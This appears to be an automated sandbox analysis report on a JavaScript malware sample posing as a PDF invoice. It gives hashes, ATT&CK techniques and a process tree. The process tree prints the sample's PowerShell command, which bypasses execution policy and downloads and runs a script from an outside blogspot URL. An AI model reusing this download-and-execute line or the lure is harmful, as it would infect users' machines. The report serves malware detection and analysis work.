bf7c717fb64e87e981cae80747035ef5361bfc3dc42b4c3c0637b78f2db75b67

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/04/2026, 07:54

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General

Target
invoice-1645080830.pdf (15).js
Size 22.3MB
Sample260430-jrwdhsfy4n
SHA256 bf7c717fb64e87e981cae80747035ef5361bfc3dc42b4c3c0637b78f2db75b67
MD5 5779459fd72a10c52b5acd38a39ae041
SHA1 5e33bdfe4259cc27e88e9624987e5600784ed136
SHA512 38b27b36d34f181c58bdbdc8d4ee6c67d42dac45c7795edef43b8ce8af4a67353af87c20b6c746cc215f45c2fdd346b8590f60a0dd9315db45f681b016a26fe5
SSDEEP 49152:TDYjDY4DY0DYxDYvDYBDY2DYuDYSDYUDYYDYP2QoBQFDYTDYwDYoDYYDY/2QoBQi:t
TLSH
T18337121346DF4E2D4F7C112A26BD0C4EEFA98F840058FDA6D7DD19D8CA9E71C661E822
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	4124	powershell.exe
12	4124	powershell.exe
14	4124	powershell.exe
28	4124	powershell.exe
36	4124	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4124	powershell.exe
4124	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4124	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 1200 wrote to memory of 4124	1200	wscript.exe	85

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\invoice-1645080830.pdf (15).js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 17
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4124

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_wl3kakbe.hyk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wl3kakbe.hyk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4124-0-0x00000169DDBC0000-0x00000169DDBD0000-memory.dmp

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memory/4124-1-0x00000169DDC00000-0x00000169DDC22000-memory.dmp

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memory/4124-9-0x00000169DDBC0000-0x00000169DDBD0000-memory.dmp

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memory/4124-10-0x00000169DDBC0000-0x00000169DDBD0000-memory.dmp

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memory/4124-11-0x00000169DDBC0000-0x00000169DDBD0000-memory.dmp

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